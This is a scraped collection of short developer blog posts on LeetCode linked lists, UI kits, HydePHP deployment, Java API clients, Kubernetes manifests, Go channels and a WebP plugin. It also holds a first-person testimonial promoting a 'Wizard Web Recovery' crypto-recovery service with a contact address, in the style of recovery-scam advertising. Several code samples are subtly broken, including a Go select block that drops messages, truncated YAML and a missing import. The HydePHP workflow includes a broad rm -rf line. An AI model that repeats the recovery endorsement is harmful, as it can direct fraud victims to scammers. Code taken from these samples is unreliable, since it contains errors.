1,881,179 | LeetCode Day4 LinkedList part2 | LeetCode No.19 Remove Nth element From End of list Given the head of a linked list, remove... | 0 | 2024-06-08T14:49:48 | https://dev.to/flame_chan_llll/leetcode-day4-linkedlist-part2-4lac | leetcode, java, algorithms |
##LeetCode No.19 Remove Nth element From End of list
Given the head of a linked list, remove the nth node from the end of the list and return its head.
[Original Page](https://leetcode.com/problems/remove-nth-node-from-end-of-list/description/)
This is the 1st version of the code with 2 problems.
```
public ListNode removeNthFromEnd(ListNode head, int n) {
int size = 0;
ListNode cur = head;
while(cur!=null){
size++;
cur=cur.next;
}
int target = size - n + 1;
cur = head;
ListNode dummy = new ListNode(-1,head);
ListNode pre = dummy;
for(int i=0; i<target-1; i++){
pre = cur;
cur = cur.next;
}
pre.next = cur.next;
return dummy.next;
}
```
it seams like we can do it in only 1 loop
Nth from the end of the list so we can use double vector, the spacing between these two vectors is N
- when the fast vector finishes, the slow vector still has N steps, so the element here is the Nth from the end of the list!
## LeetCode CN 02.07 Intersection of Two Linked Lists LCCI
Given two (singly) linked lists, determine if the two lists intersect. Return the inter secting node. Note that the intersection is defined based on reference, not value. That is, if the kth node of the first linked list is the exact same node (by reference) as the jth node of the second linked list, then they are intersecting.
Example 1:
Input: intersectVal = 8, listA = [4,1,8,4,5], listB = [5,0,1,8,4,5], skipA = 2, skipB = 3
Output: Reference of the node with value = 8
Input Explanation: The intersected node's value is 8 (note that this must not be 0 if the two lists intersect). From the head of A, it reads as [4,1,8,4,5]. From the head of B, it reads as [5,0,1,8,4,5]. There are 2 nodes before the intersected node in A; There are 3 nodes before the intersected node in B.
Example 2:
Input: intersectVal = 2, listA = [0,9,1,2,4], listB = [3,2,4], skipA = 3, skipB = 1
Output: Reference of the node with value = 2
Input Explanation: The intersected node's value is 2 (note that this must not be 0 if the two lists intersect). From the head of A, it reads as [0,9,1,2,4]. From the head of B, it reads as [3,2,4]. There are 3 nodes before the intersected node in A; There are 1 node before the intersected node in B.
Example 3:
Input: intersectVal = 0, listA = [2,6,4], listB = [1,5], skipA = 3, skipB = 2
Output: null
Input Explanation: From the head of A, it reads as [2,6,4]. From the head of B, it reads as [1,5]. Since the two lists do not intersect, intersectVal must be 0, while skipA and skipB can be arbitrary values.
Explanation: The two lists do not intersect, so return null.
Notes:
If the two linked lists have no intersection at all, return null.
The linked lists must retain their original structure after the function returns.
You may assume there are no cycles anywhere in the entire linked structure.
Your code should preferably run in O(n) time and use only O(1) memory.
```
int sizeA = 0;
int sizeB = 0;
ListNode curA = headA;
ListNode curB = headB;
//find the size of both list A and list B
while(curA!= null){
sizeA++;
curA = curA.next;
}
while(curB!= null){
sizeB++;
curB = curB.next;
}
// remove the aboslutely redundant elements (the extra element definitly not the overlap parts)
int size = Math.abs(sizeA-sizeB);
curA = headA;
curB = headB;
if(sizeA>sizeB){
for(int i=0; i<size; i++){
curA = curA.next;
}
}else{
for(int i=0; i<size; i++){
curB = curB.next;
}
}
//Because if they overlap, they will link to the same Node (address, reference is the same)
while(curA!=null && curB!=null){
if(curA == curB){
return curA;
}else{
curA = curA.next;
curB = curB.next;
}
}
return null;
}
```
## 142. Linked List Cycle II
Given the head of a linked list, return the node where the cycle begins. If there is no cycle, return null.
There is a cycle in a linked list if there is some node in the list that can be reached again by continuously following the next pointer. Internally, pos is used to denote the index of the node that tail's next pointer is connected to (0-indexed). It is -1 if there is no cycle. Note that pos is not passed as a parameter.
Do not modify the linked list.
[Original Page](https://leetcode.com/problems/linked-list-cycle-ii/description/)
Example 1:
Input: head = [3,2,0,-4], pos = 1
Output: tail connects to node index 1
Explanation: There is a cycle in the linked list, where tail connects to the second node.
Example 2:
Input: head = [1,2], pos = 0
Output: tail connects to node index 0
Explanation: There is a cycle in the linked list, where tail connects to the first node.
Example 3:
Input: head = [1], pos = -1
Output: no cycle
Explanation: There is no cycle in the linked list.
Constraints:
The number of the nodes in the list is in the range [0, 104].
-105 <= Node.val <= 105
pos is -1 or a valid index in the linked-list.
- Seems like we can use `Java Collection` and here the `Set` would be fine, because we want to find the entry of the linked list cycle, which imply if the node reference has been added to the `set`, it would be the entry.
```
public ListNode detectCycle(ListNode head) {
HashSet<ListNode> dataSet = new HashSet<ListNode>();
ListNode cur = head;
int pos = 0;
while(cur!=null){
if(dataSet.contains(cur)){
return cur;
}
dataSet.add(cur);
cur = cur.next;
pos++;
}
return null;
}
```
I found a new thought for this question, but now it is a little bit hard for me to understand (I mean I know why using this thought to figure out this question but if I suffer some other scenario I do not think I can come up with a method that has this kind of mathematical thought)

1,881,316 | Forget Shadcn, Tailus UI React is now stable | Tailus UI React is a modern React UI Kit for building custom, accessible web UIs on top of Radix UI... | 0 | 2024-06-08T14:45:53 | https://dev.to/meschacirung/forget-shadcn-tailus-ui-react-is-now-stable-d16 | react, webdev, ui, javascript | Tailus UI React is a modern React UI Kit for building custom, accessible web UIs on top of Radix UI and Tailwind Css.
## Top-level customization
When it comes to customization, Tailus UI React stands out as a highly flexible option within the realm of React UI Kits. Here’s a deeper dive into its customization strengths:
### Component Part Variants
Tailus UI React offers more than just pre-built components. It provides the ability to customize individual parts within each component using variants.
[](ui.tailus.io)
For example, consider the Annonce component. You can modify the variant and size of the `<Annonce.Root />` part, change the variant, intent and size of `<Annonce.Concern />`, and even add a `<Annonce.Message />` with its own unique variants. Each part can be customized independently, giving you the flexibility to create highly tailored user interfaces.
### Theme Customization
Tailus UI React allows you to tailor the overall theme by using data attributes. This method simplifies the process of adjusting various properties such as palette colors, border radius values, background and border shades, and shadows.
[](ui.tailus.io)
For instance, imagine you’ve set the border radius for your entire app theme to `xl`. With Tailus UI React, you have the flexibility to override this setting and adjust the border radius to `2xl` for a specific component, simply by using data attributes.
This approach is superior to using the “className” property for components that need to calculate their border radius based on the border radius of their parent component. With data attributes, you can directly and independently adjust the theme of each component, providing a more intuitive and flexible customization process.
### Css Variables
While theming is based on data attributes, you can also use CSS Variables to customize your theme.
## Why is Tailus UI React better than Shadcn UI
Both Tailus UI React and Shadcn leverage Radix UI and Tailwind CSS, but Tailus UI React takes customization a step further:
### Built in Palette colors
Tailus UI React comes with built-in palettes that leverage familiar Tailwind CSS defaults, making it easier to quickly start building your UI.
### Multi theming support
Tailus UI React empowers you to create multi-themed applications with ease.
### Component part variants
Tailus UI React components offer granular customization through part variants.
### Data attributes
Tailus UI React empowers you to customize your theme with ease using data attributes. This approach simplifies adjusting various properties for both the entire application and individual components.
[](ui.tailus.io)
Shadcn offers a solid foundation with Radix and Tailwind, but Tailus UI React empowers you to achieve a truly unique and tailored user interface through its superior customization features.
With component part variants, data attributes, thoughtful design choices, and CSS variables, you can achieve a high level of design control without sacrificing development speed.

1,881,315 | How to Quickly Learn Programming Languages | Learning a new programming language can be both exciting and challenging. As a computer engineering... | 0 | 2024-06-08T14:38:43 | https://dev.to/_itskish0re/how-to-quickly-learn-programming-languages-3gho | programming, learning, career, coding | Learning a new programming language can be both exciting and challenging. As a computer engineering graduate, I've navigated this path multiple times. Here are some practical strategies, enhanced with examples and personal insights, to help you learn a new programming language quickly and efficiently.
### 1. Overcoming Attachment to Your Comfort Zone
One of the biggest hurdles many developers face is their attachment to a language they are already proficient in. This attachment can make it hard to embrace a new language. Developers often try to accomplish tasks using their familiar language instead of learning a new one that might be better suited for the job.
**Example:**
Imagine a developer who is proficient in Python. They find themselves needing to develop a mobile application, which is traditionally more suited for languages like Swift (for iOS) or Kotlin (for Android). Instead of learning Swift or Kotlin, they might try to achieve the same task using Python frameworks like Kivy or BeeWare. While these frameworks are capable, they might not provide the same efficiency and robustness as the native languages for mobile development.
**How to Overcome This:**
- **Embrace the Beginner’s Mindset:** Accept that it’s okay to start from scratch. Initial struggles are part of the learning process.
- **Set Specific Learning Goals:** Define why you need to learn the new language. For me, it was the need to develop native mobile applications.
- **Incremental Learning:** Start integrating the new language into small parts of your projects. For instance, I began by creating small modules in Swift while keeping the main application logic in JavaScript.
### 2. Viewing Programming Languages as Tools
A common misconception is that you need to master every aspect of a language to be effective. This isn’t true. A programming language is merely a tool, and you don’t need to know every feature to accomplish your tasks.
**Example:**
When I decided to learn Kotlin for mobile development, I didn’t dive deep into every aspect of the language. Instead, I focused on what was necessary for my immediate projects: understanding basic syntax, working with Android Studio, and using libraries relevant to my applications.
**Task-Oriented Learning:**
- **Core Syntax:** Learn the basics that you need to get started. For Kotlin, I focused on understanding its syntax and how it handles Android components.
- **Relevant Libraries and Frameworks:** For mobile development, I concentrated on Android Jetpack libraries.
- **Gradual Deepening:** As I grew more comfortable, I started exploring more advanced Kotlin features like coroutines for managing concurrency.
### 3. Practical Strategies for Learning
To make the learning process more efficient, here are some strategies I found useful:
**Immerse Yourself:**
- **Read Documentation and Tutorials:** Regularly read official documentation and follow tutorials. This helps in understanding the language’s idioms and best practices.
- **Join Communities:** Participate in forums, attend meetups, and join online communities. For Kotlin, I joined several Android development groups and attended Kotlin meetups.
**Practice Daily:**
- **Consistent Practice:** Dedicate a specific time each day to coding in the new language. I followed a 30-day coding challenge when learning Swift, which significantly improved my proficiency.
**Work on Real Projects:**
- **Project-Based Learning:** Apply what you’ve learned by working on real projects. For example, I built a simple to-do list app in Swift to understand iOS development better.
**Learn from Others:**
- **Code Reviews and Pair Programming:** Engage in code reviews and pair programming. This provides new insights and helps solve doubts.
**Utilize Online Resources:**
- **Online Courses and Platforms:** Take advantage of online courses. Websites like Codecademy, Coursera, and Udemy offer excellent resources. I used Udemy’s Kotlin course to get hands-on practice with immediate feedback.
**Read and Refactor Code:**
- **Open-Source Projects:** Read and contribute to open-source projects. This exposes you to different coding styles and best practices. I often read through popular open-source Swift projects on GitHub.
**Debug and Solve Problems:**
- **Use Debugging Tools:** Learn to use debugging tools effectively. Understanding Xcode’s debugging capabilities was invaluable when diagnosing and fixing issues in my Swift code.
### Conclusion
Learning a new programming language is a journey that requires patience and persistence. By overcoming attachment to your comfort zone, viewing the language as a tool, and focusing on task-oriented learning, you can accelerate your learning process. Remember to immerse yourself in the language, practice consistently, and leverage available resources. Whether you’re expanding your skills from JavaScript to Kotlin and Swift, or any other language, these strategies will help you become proficient more quickly.

1,881,395 | How to turn your GitHub Readme into a static website | Creating a HydePHP site on GitHub Pages based on your Readme Welcome to the HydePHP blog!... | 0 | 2024-06-08T14:31:05 | https://hydephp.com/posts/how-to-turn-your-github-readme-into-a-static-website | hydephp, tutorial, howto, github | ## Creating a HydePHP site on GitHub Pages based on your Readme
Welcome to the HydePHP blog! Today, we're going to show you how to create a simple static site from your GitHub project's `README.md` file using HydePHP and deploy it using GitHub Pages.
In case you're not already familiar, [HydePHP](https://hydephp.com?ref=dev.to) is a static site generator that combines the power of Laravel with the simplicity of Markdown. With just a few steps, your next website is minutes away from becoming a reality.
## Getting Started
### Prerequisites
- A GitHub repository with a `README.md` file.
- GitHub Actions enabled for your repository.
- GitHub Pages enabled for your repository.
### Step-by-Step Guide
#### 1. Create the Workflow File
First, we need to set up a GitHub Actions workflow file. Create a new file named `.github/workflows/build.yml` in your repository. This workflow will handle the process of converting your `README.md` into a static site and deploying it to GitHub Pages.
**Here is the example workflow:**
```yaml
name: Build Documentation from Readme
on:
push:
branches: [ "main" ] # Make sure this matches your default branch
jobs:
build:
runs-on: ubuntu-latest
permissions:
contents: read
pages: write
id-token: write
steps:
- uses: actions/checkout@v3
- name: Create site from Readme
run: |
# Here we set up the HydePHP source files to use the README.md as the index page
mkdir _pages
mv README.md _pages/index.md
rm -rf !'_pages'
- name: Create Hyde config
run: |
# Configure the site name
echo 'name: My Site Name' >> hyde.yml
# Optionally, load styles from the CDN
echo 'load_app_styles_from_cdn: true' >> hyde.yml
# Optionally, use Highlight.js for syntax highlighting
echo "scripts: '<link rel=\"stylesheet\" href=\"https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.7.0/build/styles/atom-one-dark.min.css\"> <script src=\"https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.7.0/build/highlight.min.js\"></script> <script>hljs.highlightAll();</script> <style>.prose :where(pre) { background-color: #282c34; } </style> <style>pre code.hljs { padding: 0; }</style>'" >> hyde.yml
- uses: hydephp/action@master
with:
deploy-to: "pages"
```
This workflow performs the following steps:
1. Checks out the repository.
2. Moves the `README.md` file to the `_pages` directory and renames it to `index.md`.
3. Creates a basic HydePHP configuration file (`hyde.yml`) with the site name and optional style settings.
4. Uses the HydePHP GitHub Action to build the site and deploy it to GitHub Pages.
#### 2. Enable GitHub Pages
To deploy your static site, you need to enable GitHub Pages in your repository settings. Follow these steps:
1. Go to the **Settings** tab of your repository.
2. Click on the **Pages** tab in the sidebar.
3. Under **Build and deployment**, select **GitHub Actions** from the **Source** dropdown.
This step allows the HydePHP GitHub Action to deploy your site directly to GitHub Pages.
## Why HydePHP?
HydePHP offers a fast and convenient way to create and deploy static sites. Here are some key benefits:
- **Ease of Use**: HydePHP is incredibly easy to set up and use, making it perfect for quick project landing pages or documentation sites, with plenty of room to grow, thanks to its Laravel foundation.
- **Bundled Frontend**: You don't need to design any HTML or write any JavaScript or CSS. HydePHP comes with a beautiful, responsive Tailwind frontend out of the box.
- **Powerful Features**: While simple to start, HydePHP can scale to support more advanced features as your project grows. And of course, every single part of HydePHP is customizable to your liking.
## Conclusion
In just a few steps, you've learned how to create a static site from your `README.md` file using HydePHP and deploy it with GitHub Actions. This method is perfect for getting a landing page up and running quickly for your open-source projects. HydePHP is here to make web development fun and smooth again!
We hope this tutorial helps you get started with HydePHP. Happy building!

1,881,394 | Why Doodle Outshines Stable Diffusion: Kid-Friendly and Safe | In the ever-evolving landscape of artificial intelligence, creative tools like image generators have... | 0 | 2024-06-08T14:30:02 | https://dev.to/gptconsole/why-doodle-outshines-stable-diffusion-kid-friendly-and-safe-je9 |
In the ever-evolving landscape of artificial intelligence, creative tools like image generators have captured the imagination of people around the world. Among these cutting-edge tools, Doodle—an AI agent from GPTConsole—stands out with its ability to generate images, doodles, and animations from textual prompts. Going a step further, Doodle also updates generated art pieces based on subsequent prompts, maintaining an interactive engagement with its users. This article dives into the reasons Doodle outshines other image generators like Stable Diffusion, particularly in providing a kid-friendly and safe environment for creativity.
The Advent of a Kid-Friendly AI Art Environment:
**Prompt 1:** "Imagine a classroom where children learn about animals. Doodle, create a friendly cartoon elephant teaching a group of attentive animal students in a colorful jungle classroom."
**Result:**[Link](https://doodle.gptconsole.ai/52450643-5ba7-4bc6-afa4-5c1f04e65a28
)
As parents and educators seek innovative ways to make learning engaging, the requirement for safe and friendly content becomes paramount. Doodle is designed with this in mind, ensuring that the responses to prompts like the above are devoid of any inappropriate content that might slip through less curated systems like Stable Diffusion, that often rely on unfiltered datasets which can inadvertently generate images unsuitable for younger audiences.
Interactive Learning Through Art Generation:
**Prompt 2:**"Doodle, let's add to our jungle classroom scene. Show the elephant teacher explaining the water cycle, with clouds, rain, and a rainbow in the background."
**Result:**[Link](https://doodle.gptconsole.ai/b3ffbb67-8ef6-466d-90b9-13fc760ab120

1,881,393 | Consuming APIs in Java and spring boot | In today's interconnected digital landscape, integrating external APIs into your Java applications is... | 0 | 2024-06-08T14:23:12 | https://dev.to/oloruntobi600/consuming-apis-in-java-and-spring-boot-3k74 | In today's interconnected digital landscape, integrating external APIs into your Java applications is a common requirement. Whether you're fetching data from a third-party service, interacting with social media platforms, or accessing cloud resources, APIs play a crucial role in enabling communication between different software systems. In this article, we'll explore various approaches to consuming APIs in Java and Spring Boot, highlighting their advantages, use cases, and best practices.
1. Using HttpURLConnection
One of the most basic ways to consume APIs in Java is by using the HttpURLConnection class, which is part of the Java standard library. This approach involves manually creating HTTP requests, setting headers, handling responses, and parsing data. While it provides low-level control over the communication process, it can be cumbersome and verbose, especially for complex API interactions.
java
Copy code
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;
public class ApiClient {
public String fetchDataFromApi(String apiUrl) throws Exception {
URL url = new URL(apiUrl);
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
connection.setRequestMethod("GET");
BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream()));
StringBuilder response = new StringBuilder();
String line;
while ((line = reader.readLine()) != null) {
response.append(line);
}
reader.close();
connection.disconnect();
return response.toString();
}
}
2. Using Apache HttpClient
Apache HttpClient is a popular library for making HTTP requests in Java applications. It provides a higher-level API compared to HttpURLConnection, with support for features like connection pooling, authentication, and advanced request configuration. Using HttpClient can simplify the process of consuming APIs and improve code readability.
java
Copy code
import org.apache.http.client.HttpClient;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.impl.client.HttpClients;
import org.apache.http.util.EntityUtils;
public class ApiClient {
public String fetchDataFromApi(String apiUrl) throws Exception {
HttpClient httpClient = HttpClients.createDefault();
HttpGet request = new HttpGet(apiUrl);
HttpResponse response = httpClient.execute(request);
String responseBody = EntityUtils.toString(response.getEntity());
return responseBody;
}
}
3. Spring RestTemplate
In Spring Boot applications, the RestTemplate class provides a convenient way to consume RESTful APIs. It abstracts away the complexities of HTTP communication and integrates seamlessly with other Spring components like dependency injection and error handling. RestTemplate offers a rich set of methods for making HTTP requests, handling responses, and mapping JSON data to Java objects.
java
Copy code
import org.springframework.web.client.RestTemplate;
public class ApiService {
private final RestTemplate restTemplate;
public ApiService(RestTemplate restTemplate) {
this.restTemplate = restTemplate;
}
public String fetchDataFromApi(String apiUrl) {
return restTemplate.getForObject(apiUrl, String.class);
}
}
4. Spring WebClient
Introduced in Spring WebFlux, WebClient is a non-blocking, reactive HTTP client that provides a functional and fluent API for consuming APIs. It's particularly well-suited for asynchronous and event-driven applications, offering support for reactive streams and backpressure. WebClient can handle both synchronous and asynchronous HTTP requests, making it versatile for various use cases.
java
Copy code
import org.springframework.web.reactive.function.client.WebClient;
public class ApiService {
private final WebClient webClient;
public ApiService(WebClient.Builder webClientBuilder) {
this.webClient = webClientBuilder.build();
}
public Mono<String> fetchDataFromApi(String apiUrl) {
return webClient.get()
.uri(apiUrl)
.retrieve()
.bodyToMono(String.class);
}
}
Conclusion
In this article, we've explored different approaches to consuming APIs in Java and Spring Boot applications. From low-level libraries like HttpURLConnection and Apache HttpClient to high-level abstractions like RestTemplate and WebClient, each approach offers its own set of features, advantages, and best practices. When choosing the right approach for your project, consider factors like simplicity, performance, flexibility, and compatibility with other components in your application architecture. By understanding these options, you can effectively integrate external APIs into your Java applications and build robust, scalable software systems. | oloruntobi600 | |

1. Docker
Para correr nuestra imagen ejecutamos el siguiente comando:
```bash
docker run -d --name my-rdicidr -p 3000:3000 ahioros/rdicidr:latest
```
Verificamos nuestro contenedor en la consola:
```bash
docker ps | grep my-rdicidr
```
Para detener el contenedor ejecutamos el siguiente comando:
```bash
docker stop my-rdicidr
```
Para borrar el contenedor ejecutamos el siguiente comando:
```bash
docker rm my-rdicidr
```
Para borrar la imagen ejecutamos el siguiente comando:
```bash
docker image rm ahioros/rdicidr:latest
# también funciona el shortcut para borrar la imagen
docker rmi ahioros/rdicidr
```
Ahora vamos a ver en nuestro navegador que nuestra aplicación se esta desplegando en el puerto 3000.
2. Kubernetes
Vamos a crear los siguientes archivos:
**01-namespace.yaml** : crearemos un namespace para nuestra aplicación.
**02-deployment.yaml** : creamos el deployment para nuestra aplicación, y definimos la cantidad de replicas y puerto de escucha de nuestra aplicación.
**03-service.yaml** : añadiremos un servicio para nuestra aplicación y un puerto de escucha para nuestro servicio.
**04-ingress.yaml** : y por último un ingress para acceder nuestra aplicación.
**01-namespace.yaml**
```yaml
apiVersion: v1
kind: Namespace
metadata:
name: production
```
**02-deployment.yaml**
```yaml
apiVersion: apps/v1
kind: Deployment
metadata:
name: deployment-rdicidr
namespace: production
labels:
app: rdicidr
spec:
replicas: 3
selector:
matchLabels:
app: rdicidr
template:
metadata:
labels:
app: rdicidr
spec:
containers:
- name: rdicidr
image: ahioros/rdicidr:latest
ports:

```
**03-service.yaml**
```yaml
apiVersion: v1
kind: Service
metadata:
name: service-rdicidr
namespace: production
spec:
selector:
app: rdicidr
ports:
- protocol: TCP
port: 80
targetPort: 3000
```
**04-ingress.yaml**
```yaml
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: rdicidr-nginx-ingress
namespace: production
annotations:
nginx.ingress.kubernetes.io/rewrite-target: /

ingressClassName: nginx
rules:
- http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: service-rdicidr
port:
number: 80
```
Aplicamos los manifests:
```bash
kubectl apply -f .
```
**Nota** : Como los archivos tienen un número al inicio del nombre este especifica un orden, esto hace que se aplique en ese orden.
Realizamos un port-forward:
```bash
kubectl port-forward --namespace=production service/service-rdicidr 8080:80
```
Ahora vamos a ver en nuestro navegador que nuestra aplicación se esta desplegando en el puerto http://localhost:8080.
Después de realizar las pruebas y comprobar que la aplicación está funcionando podemos eliminarla de nuestro kubernetes:
```bash
kubectl delete -f .
```

The move caused friction in my relationship; my partner couldn’t understand my decision to invest such a significant amount in what she deemed a risky venture. This discord eventually led to our breakup after heated arguments and profound disagreements. Despite the personal upheaval, my foray into cryptocurrency began to bear fruit. My initial investment grew to an estimated $470,000. However, just as things seemed to be stabilizing, my ex-girlfriend, in a misguided attempt to manipulate me into reconciliation, accessed my Gmail account. She changed passwords and, more disastrously, deleted my crypto wallet, erasing my means to access my funds. The shock and betrayal were profound. Not only had I lost a relationship I valued, but now my financial security was in jeopardy. In desperate need of help, I turned to a friend who was well-versed in IT. He recommended the Wizard Web Recovery, known for its ability to recover digital assets when all seemed lost. Contacting wizard web recovery (at) programmer (dot) net, was a step filled with anxiety and hope. The recovery process was intricate, requiring detailed verification of my identity and the presentation of my last transaction details since I no longer had access to my recovery phrase. The team at Wizard Web was thorough and professional, focusing on securing my data and regaining access to my funds. After tense days filled with technical procedures and careful coordination, Wizard Web successfully recovered my stolen funds back to me. The relief was immense, not only had I regained my financial assets, but I also reclaimed a sense of control over my life. The entire experience was a crucible of emotional and financial stress, teaching me invaluable lessons about security, trust, and the resilience needed to navigate the choppy waters of cryptocurrency trading. Wizard Web’s recovery services proved indispensable, transforming a potential disaster into a story of recovery and hope. This ordeal ultimately reinforced my resolve to manage my digital investments with as much discipline and dedication as I had managed my dance career.

## 1. Here is my problem
I have to admit here: concurrent programming is one of the biggest headaches I'm having as I learn Computer Science. But since I started studying Go, I realized I have to conquer this challenge to really understand the language. So, I'm writing this article to explain it to myself - or someone else who might be interested in this topic - in a way even a 5 year-old kid could understand (I might be exaggerating).
## 2. First things first
Every article about concurrent programming begins explaining the difference between concurrency and parallelism, but we don’t do that here, so forget about this. Let’s start, instead, with a naive Hello, World! program in Go:
```go
func main() {
var message string
func() {
message = "Hello, World!"
}()
fmt.Println("Output:", message)
}
```
> _Output: Hello, World!_
In this code, I deliberately used an anonymous function to assign the string 'Hello, World!' to the message variable. Then, I printed the message to the screen. The key point here is that this program runs in a single **goroutine**, which means the code executes in one line of execution. Therefore, we can assume that each line of code executes sequentially, one after the other (ignoring low-level details).
Goroutines are the lines of execution of a Go application (something like threads but in a higher level of abstraction). Each Go program has a main goroutine that acts like the starting point and controls how long the program runs, but, if we want to have more goroutines besides the main one, we have to create them manually. Having more goroutines might allow us to explore the multiple cores of modern CPUs and improve the performance of our application, but since we add more lines of execution to our code strange things start happening:
```go
func main() { // main goroutine starts here
var message string
go func() { // new goroutine starts here
message = "Hello, World!"
}()
fmt.Println("Output:"message)
}
```
> _Output:_
The only change made in the code above compared to the previous example is the addition of the go keyword before the anonymous function (the go keyword is always used before function calls to launch them as goroutines). This creates a new goroutine containing only the anonymous function, which executes concurrently with the main goroutine. However, as you observed, the 'Hello, World!' message is missing from the output. This occurs because the main goroutine doesn't wait for the new goroutine to complete its task (assigning a value to the message variable) and finishes execution first. This behavior becomes even more evident if we force the main routine to wait an additional second before the Println execution.:
```go
func main() {
var message string
go func() {
message = "Hello, World!"
}()
time.Sleep(time.Second) // wait one second before print
fmt.Println("Output:", message)
}
```
> _Output: Hello, World!_
But adding a time.Sleep to our main gorutine is not the right way of get the things done, instead, we can use channels, that are the default way of transporting messages between lines of execution in Go.
## 3. Channels
Our goal here is to ensure the main goroutine waits for the newly created goroutine to complete its task before executing the Println function. This will allow us to see the 'Hello, World!' message displayed on the screen without resorting to the jury-rigged time.Sleep approach. One way to achieve this is by creating a channel that facilitates communication between the two goroutines by transferring the string from one to the other.
```go
func main() {
channel := make(chan string)
go func() {
channel <- "Hello, World!"
close(channel)
}()
fmt.Println("Output:", <-channel)
}
```
> _Output: Hello, World!_
In this code we use function make to create a channel (the name of the channel here is channel, but it could be any name) that can send and receive strings.
```go
channel := make(chan string)
```
Within the newly created goroutine, we send the 'Hello, World!' message through the channel (the arrow indicates the direction of data flow). We then close the channel, signifying that we've finished sending data. This informs the receiver that no further information will be transmitted, allowing it to stop waiting for additional messages.
```go
channel <- "Hello, World!"
close(channel)
```
Now in the main goroutine, in the Println argument, we receive the string that have been sent from the new goroutine.
```go
fmt.Println("Output:", <-channel)
```
This code functions correctly because the main goroutine is instructed to wait for data from the channel before proceeding with the Println execution. So note that channels have the power to pause the goroutine execution while waiting for send or receive data. In this way, the channel acts as a synchronization mechanism within the asynchronous context, ensuring the message is received in the right time.
### 3.1 Buffered channels
The Go channels by default don’t have any memory capacity, which means they only send and receive data, but don’t store them. Yet sometimes we want to hold the data in order to control the data flow among goroutines. To achieve this we can use buffers.
```go
func main() {
channel := make(chan string)
channel <- "Output:"
channel <- "Hello, World"
fmt.Println(<-channel, <-channel)
}
```
> _fatal error: all goroutines are asleep - deadlock!_
When we run the code above, we receive a deadlock error. This occurs because when the channel receives the "Output:" string, execution stops. Then the channel waits to send this data somewhere else (remember, channels lack internal storage and cannot hold data), but, since that are no goroutines in the moment waiting to receive it, the wait is in vain. As a result, the line that should receive the "Hello, World!" string never executes, and the application panics. To solve this, we simply need to add buffers to the channel, allowing it to temporarily store data before sending it.
```go
func main() {
channel := make(chan string, 2) // the second argument here is the capacity
channel <- "Output:"
channel <- "Hello, World"
fmt.Println(<-channel, <-channel)
}
```
> _Output: Hello, World!_
To create buffered channels, we simply specify the desired buffer size as the second argument to the make function. In this example, using the number 2 allows the channel to store two strings, preventing the program's normal execution flow from being blocked. Buffers provide a mechanism to control the maximum amount of data that can be queued, which is particularly useful in scenarios like web servers handling high volumes of requests.
### 3.2 Select statement
As mentioned earlier, channels can pause execution while waiting to send or receive data. In some cases, particularly when working with multiple channels, this behavior might not be desirable. You might not want one channel to block the execution related to another. To address this, Go provides the select statement, a construct that allows channels to work together without one blocking the other. Before diving into the select statement, let's examine an example of code without it.
```go
func main() {
oneSecond := make(chan string)
fiveSeconds := make(chan string)
go func() {
for i := 0; i < 20; i++ {
time.Sleep(time.Second)
oneSecond <- "One second"
}
}()
go func() {
for i := 0; i < 20; i++ {
time.Sleep(time.Second * 5)
fiveSeconds <- "Five seconds"
}
}()
for i := 0; i < 20; i++ {
fmt.Println(<-oneSecond)
fmt.Println(<-fiveSeconds)
}
}
```
> _One second_
> _Five seconds_
> _One second_
> _Five seconds_
> _One second_
The code above is intended to display "One second" every second and "Five seconds" every five seconds. However, currently, "One second" is displayed only every five seconds. This happens because receiving from a channel with no data blocks execution until data arrives. In this case, the channel for "Five seconds" pauses the program for five seconds, effectively halting the channel for "One second". Since we're using goroutines, we want to leverage concurrency instead of waiting for functions to execute sequentially. To address this, we'll introduce the select statement.
```go
func main() {
oneSecond := make(chan string)
fiveSeconds := make(chan string)
go func() {
for i := 0; i < 20; i++ {
time.Sleep(time.Second)
oneSecond <- "One second"
}
}()
go func() {
for i := 0; i < 20; i++ {
time.Sleep(time.Second * 5)
fiveSeconds <- "Five seconds"
}
}()
for i := 0; i < 20; i++ {
select {
case <-oneSecond:
fmt.Println(<-oneSecond)
case <-fiveSeconds:
fmt.Println(<-fiveSeconds)
}
}
}
```
> _One second_
> _One second_
> _Five seconds_
> _One second_
> _One second_
> _One second_
> _Five seconds_
By using the select statement inside the for loop, we can print the message in the exact moment the channel receives it, doing what is expected from a concurrent code.
## 4. Other Go concurrency tools
Goroutines, channels, and the select statement form the highest level of abstraction in Go for concurrency. These are the tools we're most encouraged to use daily. However, there may be situations where lower-level tools like mutexes and waitgroups become necessary. While discussing these patterns would deviate from this article's focus, I encourage everyone to explore these topics to gain a deeper understanding of concurrency and parallelism.

TIPS FOR EFFECTIVE USE
Backup Your Images: Before performing bulk conversions, it’s a good idea to backup your original images. This ensures you have a copy in case you need to revert any changes.
**Monitor Compression Levels:** Adjust the image compression level to find the right balance between quality and file size. Too much compression can affect image quality, while too little may not reduce the file size significantly.
**Additional Information**
**What It Does:** A Focus on Efficiency and Quality
Website speed is essential in today’s digital age. Images are crucial for engaging content but often slow down loading times due to their size. WebP, a modern image format by Google, offers better compression for both lossless and lossy images. By converting JPG and PNG images to WebP, the plugin helps your site load faster and improves user experience without the complexity of managing multiple image versions.
Unlike other image optimization tools that generate several versions of the same image to accommodate different screen sizes, “Convert JPG, PNG to WebP Pro” focuses exclusively on converting images to the WebP format. This streamlined approach simplifies the optimization process, ensuring your website benefits from reduced image file sizes without the hassle of managing multiple image versions. The outcome? Faster loading times, improved SEO rankings, and a better user experience.
The plugin converts the photos and does not deliver other versions of the same image. This means your website won’t be bloated with different versions of the same photo for various devices like mobile phones or tablets. It provides a clean and efficient solution by converting and retaining only the WebP format.
**Designed to Be Lightweight**
To avoid plugin bloat, Convert JPG, PNG to WebP Pro is designed to be lightweight and integrates seamlessly into WordPress. It doesn’t clutter the dashboard with unnecessary features. Once activated, it automatically converts images during upload. The settings page allows for easy control over the plugin’s functionality without overwhelming options.
**Security and Best Practices**
